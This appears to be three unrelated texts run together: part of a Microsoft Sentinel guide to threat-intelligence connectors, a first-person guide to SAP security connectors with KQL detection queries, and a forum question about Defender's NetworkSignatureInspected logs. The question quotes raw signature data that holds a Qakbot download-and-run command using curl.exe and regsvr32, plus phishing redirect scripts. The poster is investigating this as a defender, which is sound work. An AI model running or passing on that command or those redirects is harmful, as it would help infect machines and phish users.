indicator tables, leverage built-in indices on IndicatorId and NetworkIP for fast joins. Use project-away _* to remove metadata from large join queries. - Retention & Storage: Configure retention per table. If historical TI is less needed, set shorter retention. Use Azure Monitor’s tiering/Archive for seldom-used data. For large TI volumes (e.g. feeding multiple TIPs), consider using Sentinel Data Lake (or connecting Log Analytics to ADLS Gen2) to offload raw ingest cheaply. - Scale-Out Architecture: For very large environments, use multiple Sentinel workspaces (e.g. regional) and aggregate logs via Azure Lighthouse or Sentinel Fusion. TI feeds can be shared: one workspace collects TI, then distribute to others via Azure Sentinel’s TI management (feeds can be published and shared cross-workspaces). - Connector Limits: API rate limits dictate update frequency. Schedule connectors accordingly (e.g. daily for TI, hourly for identity events). Avoid hourly pulls of already static data (users list can be daily). For OneLogin/PingOne, use incremental tokens or webhooks if possible to reduce load. - Monitoring Health: Use Sentinel’s Log Analytics and Monitor metrics to track ingestion volume and connector errors. For example, monitor the Functions running GreyNoise/Scout for failures or throttling. Deployment Checklist & Guide Prepare Sentinel Workspace: Ensure a Log Analytics workspace with Sentinel enabled. Record the workspace ID and region. Register Applications: In Azure AD, create and note any Service Principal needed for functions or connectors (e.g. a Sentinel-managed identity for Functions). In each vendor portal, register API apps and credentials (OneLogin OIDC App, PingOne API client, Keeper AD app). Network & Security: If needed, configure firewall rules to allow outbound to vendor APIs. Install Connectors: In Sentinel Content Hub or Marketplace, install the solutions for GreyNoise TI, Team Cymru Scout, OneLogin IAM, PingOne. Follow each wizard to input credentials. Verify the “Data Types” (Logs, Alerts, etc.) are enabled. Create Tables & Parsers (if manual): For Keeper or unsupported logs, manually create custom tables (via DCR in Azure portal). Import JSON to define fields as shown in Keeper’s docs Test Data Flow: After each setup, wait 1–24 hours and run a simple query on the destination table (e.g. OneLoginEventsV2_CL | take 5) to confirm ingestion. Deploy Ingestion Rules: Use Sentinel Threat intelligence ingestion rules to fine-tune feeds (e.g. mark high-confidence feeds to extend expiration). Optionally tag/whitelist known good. Configure Analytics: Enable or create rules using the KQL above. Place them in the correct threat hunting or incident rule categories (Credential Access, Lateral Movement, etc.). Assign appropriate alert severity. Set up Playbooks: For automated actions (alert enrichment, IOC blocking), create Logic App playbooks. Test with mock alerts (dry run) to ensure correct API calls. Tuning & Baseline: After initial alerts, tune queries (thresholds, whitelists) to reduce noise. Maintain suppression lists (e.g. internal pentest IPs). Use the MITRE mapping in rule details for clarity. Documentation & Training: Document field mappings (e.g. OneLoginEvents fields), and train SOC staff on new TI-enriched alert fields. Connectors Comparison Connector Data Sources Sent. Tables Update Freq. Auth Method Key Fields Enriched Limits/Cost Pros/Cons GreyNoise IP intelligence (scanners) ThreatIntelligenceIndicator Daily (scheduled pull) API Key IP classification, noise, classification API key required; paid license for large usage Pros: Filters benign scans, broad scan visibility Con: Only IP-based (no domain/file). Team Cymru Scout Global IP/domain telemetry Cymru_Scout_*_CL (custom tables) On-demand or daily Account credentials Detailed IP/domain context (ports, PDNS, ASN, etc.) Requires Team Cymru subscription. Potentially high cost for feed. Pros: Rich context (open ports, DNS, certs); great for IOC enrichment. Con: Complex setup, data in custom tables only. OneLogin IAM OneLogin user/auth logs OneLoginEventsV2_CL, OneLoginUsersV2_CL Polls hourly OAuth2 (client ID/secret) User, app, IP, event type (login, MFA, etc.) OneLogin API: 5K calls/hour. Data volume moderate. Pros: Direct insight into cloud identity use; built-in parser available. Cons: Limited to OneLogin environment only. PingOne Audit PingOne audit logs PingOne_AuditActivitiesV2_CL Polls hourly OAuth2 (client ID/secret) User actions, admin events, MFA logs Rate limited by Ping license. Data volume moderate. Pros: Captures critical identity events; widely used product. Cons: Requires PingOne Advanced license for audit logs. Keeper (custom) Keeper security events KeeperLogs_CL (custom) Push (continuous) OAuth2 (client ID/secret) + Azure DCR Vault logins, record accesses, admin changes None (push model); storage costs. Pros: Visibility into password vault activity (often blind spot). Cons: More manual setup; custom logs not parsed by default. Data Flow Diagram This flowchart shows GreyNoise (GN) feeding the Threat Intelligence table, Team Cymru feeding enrichment tables, and identity sources pushing logs. All data converges into Sentinel, where enrichment lookups inform analytics and automated responses.SAP & Business-Critical App Security Connectors
I validated what it takes to make SAP and SAP-adjacent security signals operational in a SOC: reliable ingestion, stable schemas, and detections that survive latency and schema drift. I focus on four integrations into Microsoft Sentinel: SAP Enterprise Threat Detection (ETD) cloud edition (SAPETDAlerts_CL, SAPETDInvestigations_CL), SAP S/4HANA Cloud Public Edition agentless audit ingestion (ABAPAuditLog), Onapsis Defend (Onapsis_Defend_CL), and SecurityBridge (also ABAPAuditLog). Because vendor API specifics for ETD Retrieval API / Audit Retrieval API aren’t publicly detailed in the accessible primary sources I could retrieve, I explicitly label pagination/rate/time-window behaviors as unspecified where appropriate. Connector architectures and deployment patterns For SAP-centric telemetry I separate two planes: First is SAP application telemetry that lands in SAP-native tables, especially ABAPAuditLog, ABAPChangeDocsLog, ABAPUserDetails, and ABAPAuthorizationDetails. These tables are the foundation for ABAP-layer monitoring and are documented with typed columns in Azure Monitor Logs reference. Second is external “security product” telemetry (ETD alerts, Onapsis findings). These land in custom tables (*_CL) and typically require a SOC-owned normalization layer to avoid brittle detections. Within Microsoft’s SAP solution itself, there are two deployment models: agentless and containerized connector agent. The agentless connector uses SAP Cloud Connector and SAP Integration Suite to pull logs, and Microsoft documents it as the recommended approach; the containerized agent is being deprecated and disabled on September 14, 2026. On the “implementation technology” axis, Sentinel integrations generally show up as: - Codeless Connector Framework (CCF) pollers/pushers (SaaS-managed ingestion definitions with DCR support). - Function/Logic App custom pipelines using the Logs Ingestion API when you need custom polling, enrichment, or a vendor endpoint that isn’t modeled in CCF. In my view, ETD and S/4HANA Cloud connectors are “agentless” from the Sentinel side (API credentials only), while Onapsis Defend and SecurityBridge connectors behave like push pipelines because Microsoft requires an Entra app + DCR permissions (typical Logs Ingestion API pattern). Authentication and secrets handling Microsoft documents the required credentials per connector: - ETD cloud connector requires Client Id + Client Secret for ETD Retrieval API (token mechanics unspecified). - S/4HANA Cloud Public Edition connector requires Client Id + Client Secret for Audit Retrieval API (token mechanics unspecified), and Microsoft notes “alternative authentication mechanisms” exist (details in linked repo are unspecified in accessible sources). - Onapsis Defend and SecurityBridge connectors require a Microsoft Entra ID app registration and Azure permission to assign Monitoring Metrics Publisher on DCRs. This maps directly to the Logs Ingestion API guidance, where a service principal is granted DCR access via that role (or the Microsoft.Insights/Telemetry/Write data action). For production, I treat these as “SOC platform secrets”: - Store client secrets/certificates in Key Vault when you own the pipeline (Function/Logic App); rotate on an operational schedule; alert on auth failures and sudden ingestion drops. - For vendor-managed ingestion (Onapsis/SecurityBridge), I still require: documented ownership of the Entra app, explicit RBAC scope for the DCR, and change control for credential rotation because a rotated secret is effectively a data outage. API behaviors and ingestion reliability For ETD Retrieval API and Audit Retrieval API, pagination/rate limits/time windows are unspecified in the accessible vendor documentation I could retrieve. I therefore design ingestion and detections assuming non-ideal API behavior: late-arriving events, cursor/page limitations, and throttling. CCF’s RestApiPoller model supports explicit retry policy, windowing, and multiple paging strategies, so if/when you can obtain vendor API semantics, you can encode them declaratively (rather than writing fragile code). For the SAP solution’s telemetry plane, Microsoft provides strong operational cues: agentless collection flows through Integration Suite, and troubleshooting typically happens in the Integration Suite message log; this is where I validate delivery failures before debugging Sentinel-side parsers. For scheduled detections, I always account for ingestion delay explicitly. Microsoft’s guidance is to widen event lookback by expected delay and then constrain on ingestion_time() to prevent duplicates from overlap. Schema, DCR transformations, and normalization layer Connector attribute comparison Connector Auth method Sentinel tables Default polling Backfill Pagination Rate limits SAP ETD (cloud) Client ID + Secret (ETD Retrieval API) SAPETDAlerts_CL, SAPETDInvestigations_CL unspecified unspecified unspecified unspecified SAP S/4HANA Cloud (agentless) Client ID + Secret (Audit Retrieval API); alt auth referenced ABAPAuditLog unspecified unspecified unspecified unspecified Onapsis Defend Entra app + DCR permission (Monitoring Metrics Publisher) Onapsis_Defend_CL n/a (push pattern) unspecified n/a unspecified SecurityBridge Entra app + DCR permission (Monitoring Metrics Publisher) ABAPAuditLog n/a (push pattern) unspecified n/a unspecified Ingestion-time DCR transformations Sentinel supports ingestion-time transformations through DCRs to filter, enrich, and mask data before it’s stored. Example: I remove low-signal audit noise and mask email identifiers in ABAPAuditLog: source | where isnotempty(TransactionCode) and isnotempty(User) | where TransactionCode !in ("SM21","ST22") // example noise; tune per tenant | extend Email = iif(Email has "@", strcat(substring(Email,0,2),"***@", tostring(split(Email,"@")[1])), Email) Normalization functions Microsoft explicitly recommends using SAP solution functions instead of raw tables because they can change the infrastructure beneath without breaking detections. I follow the same pattern for ETD/Onapsis custom tables: I publish SOC-owned functions as a schema contract. .create-or-alter function with (folder="SOC/SAP") Normalize_ABAPAudit() { ABAPAuditLog | project TimeGenerated, SystemId, ClientId, User, TransactionCode, TerminalIpV6, MessageId, MessageClass, MessageText, AlertSeverityText, UpdatedOn } .create-or-alter function with (folder="SOC/SAP") Normalize_ETDAlerts() { SAPETDAlerts_CL | extend AlertId = tostring(coalesce(column_ifexists("AlertId",""), column_ifexists("id",""))), Severity = tostring(coalesce(column_ifexists("Severity",""), column_ifexists("severity",""))), SapUser = tostring(coalesce(column_ifexists("SAP_User",""), column_ifexists("User",""), column_ifexists("user",""))) | project TimeGenerated, AlertId, Severity, SapUser, * } .create-or-alter function with (folder="SOC/SAP") Normalize_Onapsis() { Onapsis_Defend_CL | extend FindingId = tostring(coalesce(column_ifexists("FindingId",""), column_ifexists("id",""))), Severity = tostring(coalesce(column_ifexists("Severity",""), column_ifexists("severity",""))), SapUser = tostring(coalesce(column_ifexists("SAP_User",""), column_ifexists("user",""))) | project TimeGenerated, FindingId, Severity, SapUser, * } Health/lag monitoring and anti-gap I monitor both connector health and ingestion delay. SentinelHealth is the native health table, and Microsoft provides a health workbook and a schema reference for the fields. let lookback=24h; union isfuzzy=true (ABAPAuditLog | extend T="ABAPAuditLog"), (SAPETDAlerts_CL | extend T="SAPETDAlerts_CL"), (Onapsis_Defend_CL | extend T="Onapsis_Defend_CL") | where TimeGenerated > ago(lookback) | summarize LastEvent=max(TimeGenerated), P95DelaySec=percentile(datetime_diff("second", ingestion_time(), TimeGenerated), 95), Events=count() by T Anti-gap scheduled-rule frame (Microsoft pattern): let ingestion_delay=10m; let rule_lookback=5m; ABAPAuditLog | where TimeGenerated >= ago(ingestion_delay + rule_lookback) | where ingestion_time() > ago(rule_lookback) SOC detections for ABAP privilege abuse, fraud/insider behavior, and audit readiness Privileged ABAP transaction monitoring ABAPAuditLog includes TransactionCode, User, SystemId, and terminal/IP fields, so I start with a curated high-risk tcode set and then add baselines. let PrivTCodes=dynamic(["SU01","PFCG","SM59","RZ10","SM49","SE37","SE16","SE16N"]); Normalize_ABAPAudit() | where TransactionCode in (PrivTCodes) | summarize Actions=count(), Ips=make_set(TerminalIpV6,5) by SystemId, User, TransactionCode, bin(TimeGenerated, 1h) | where Actions >= 3 Fraud/insider scenario: sensitive object change near privileged audit activity ABAPChangeDocsLog exposes ObjectClass, ObjectId, and change types; I correlate sensitive object changes to privileged transactions in a tight window. let w=10m; let Sensitive=dynamic(["BELEG","BPAR","PFCG","IDENTITY"]); ABAPChangeDocsLog | where ObjectClass in (Sensitive) | project ChangeTime=TimeGenerated, SystemId, User=tostring(column_ifexists("User","")), ObjectClass, ObjectId, TypeOfChange=tostring(column_ifexists("ItemTypeOfChange","")) | join kind=innerunique ( Normalize_ABAPAudit() | project AuditTime=TimeGenerated, SystemId, User, TransactionCode ) on SystemId, User | where AuditTime between (ChangeTime-w .. ChangeTime+w) | project ChangeTime, AuditTime, SystemId, User, ObjectClass, ObjectId, TransactionCode, TypeOfChange Audit-ready pipeline: monitoring continuity and configuration touchpoints I treat audit logging itself as a monitored control. A simple SOC-safe control is “volume drop” by system; it’s vendor-agnostic and catches pipeline breaks and deliberate suppression. Normalize_ABAPAudit() | summarize PerHour=count() by SystemId, bin(TimeGenerated, 1h) | summarize Avg=avg(PerHour), Latest=arg_max(TimeGenerated, PerHour) by SystemId | where Latest_PerHour < (Avg * 0.2) Where Onapsis/ETD are present, I increase fidelity by requiring “privileged ABAP activity” plus an external SAP-security product finding (field mappings are tenant-specific; normalize first): let win=1h; Normalize_ABAPAudit() | where TransactionCode in ("SU01","PFCG","SM59","SE16N") | join kind=leftouter (Normalize_Onapsis()) on $left.User == $right.SapUser | where isempty(FindingId) == false and TimeGenerated1 between (TimeGenerated .. TimeGenerated+win) | project TimeGenerated, SystemId, User, TransactionCode, FindingId, OnapsisSeverity=Severity Production validation, troubleshooting, and runbook For acceptance, I validate in this order: table creation, freshness/lag percentiles, connector health state, and cross-check of event counts against the upstream system for the same UTC window (where available). Connector health monitoring is built around SentinelHealth plus the Data collection health workbook. For SAP agentless ingestion, Microsoft states most troubleshooting happens in Integration Suite message logs—this is where I triage authentication/networking failures before tuning KQL. For Onapsis/SecurityBridge-style ingestion, I validate Entra app auth, DCR permission assignment (Monitoring Metrics Publisher), and a minimal ingestion test payload using the Logs Ingestion API tutorial flow. Operational runbook items I treat as non-optional: health alerts on connector failure and freshness drift; scheduled rule anti-gap logic; playbooks that capture evidence bundles (ABAPAuditLog slice + user context from ABAPUserDetails/ABAPAuthorizationDetails); DCR filters to reduce noise and cost; and change control for normalization functions and watchlists. SOC “definition of done” checklist (short): 1) Tables present and steadily ingesting; 2) P95 ingestion delay measured and rules use the anti-gap pattern; 3) SentinelHealth enabled with alerts; 4) SOC-owned normalization functions deployed; 5) at least one privileged-tcode rule + one change-correlation rule + one audit-continuity rule in production. Mermaid ingestion flow:
NetworkSignatureInspected
Hi, Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content. I've read this article, so understand the basics of the function: Enrich your advanced hunting experience using network layer signals from Zeek I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices. Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228: ${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&®svr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https:// Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced. Any assistance with rationalising this would be great, thanks.
